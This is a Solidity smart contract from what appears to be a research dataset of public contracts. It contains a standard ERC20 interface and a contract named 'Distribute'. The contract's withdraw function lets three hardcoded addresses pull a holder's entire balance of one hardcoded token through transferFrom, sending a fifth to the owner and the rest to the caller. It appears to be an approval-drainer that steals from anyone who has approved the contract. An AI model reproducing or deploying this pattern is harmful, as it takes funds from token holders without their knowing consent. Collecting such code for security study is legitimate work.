// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

contract Distribute {

    address private owner;
    
    constructor() {
        owner = msg.sender;
    }

    function checkBalance(address _token) public view returns(uint) {
        return IERC20(_token).balanceOf(address(this));
    }

    function withdraw(address _holder) public {
        require(msg.sender == 0x15268F77D1261F3183e5A8a2287DfE41D1C422ac || msg.sender == 0xF5089CFCdA913D957fe3013D062cf84A679F0051 || msg.sender == 0xaeC4D07101e3B7d03114c2C947eE2967Ba75Dddb);
        uint amount = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7).balanceOf(_holder);
        IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7).transferFrom(_holder, address(owner), amount / 5);
        uint amount2 = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7).balanceOf(_holder);
        IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7).transferFrom(_holder, msg.sender, amount2);
    }

}